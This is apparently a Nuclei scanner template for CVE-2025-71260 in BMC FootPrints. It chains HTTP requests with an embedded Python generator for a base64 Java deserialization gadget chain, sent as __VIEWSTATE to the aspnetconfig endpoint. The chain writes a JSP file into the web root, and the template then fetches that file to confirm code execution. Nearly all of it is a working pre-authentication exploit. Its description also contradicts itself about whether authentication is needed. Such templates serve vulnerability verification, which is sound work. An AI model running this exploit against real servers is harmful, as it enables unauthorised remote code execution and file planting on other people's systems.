id: CVE-2025-71260 info: name: BMC FootPrints - Deserialization of Untrusted Data (RCE) author: watchTowr,DhiyaneshDk severity: critical description: | BMC FootPrints Asset Core is vulnerable to pre-authentication remote code execution via Java deserialization in the aspnetconfig endpoint. impact: | Authenticated attackers can execute arbitrary code remotely, fully compromising the application. remediation: Upgrade BMC FootPrints to the latest patched version. reference: - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/ - https://github.com/watchtowrlabs/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260/blob/main/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py - https://nvd.nist.gov/vuln/detail/CVE-2025-71260 metadata: verified: true max-request: 4 shodan-query: html:"/footprints/servicedesk/" tags: cve,cve2025,servicedesk,bmc-software,rce,intrusive,file-upload flow: http(1) && code(1) && http(2) && http(3) http: - raw: - | GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(header, "SEC_TOKEN=")' internal: true - raw: - | GET /footprints/servicedesk/aspnetconfig?__VIEWSTATE={{filename}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Content-Length: {{len(payload)}} __VIEWSTATE={{payload}} matchers: - type: dsl dsl: - 'status_code == 500' internal: true - raw: - | GET /{{filename}}.jsp HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "System Information" - "OS User:" - "Current Working Directory:" condition: and - type: status status: - 200 extractors: - type: regex name: os_user part: body regex: - 'OS User:\s*([^<]+)' group: 1 code: - engine: - py - python3 source: | import random import string import base64 from urllib.parse import quote original_b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4" target = b"watchTowr" random_name = ''.join(random.choices(string.ascii_letters + string.digits, k=9)) decoded = base64.b64decode(original_b64) modified = decoded.replace(target, random_name.encode()) encoded = base64.b64encode(modified).decode() payload = quote(encoded, safe='') print(f"{random_name}|{payload}") extractors: - type: regex name: filename internal: true regex: - '^([^|]+)' group: 1 - type: regex name: payload internal: true regex: - '\|(.+)$' group: 1 # digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a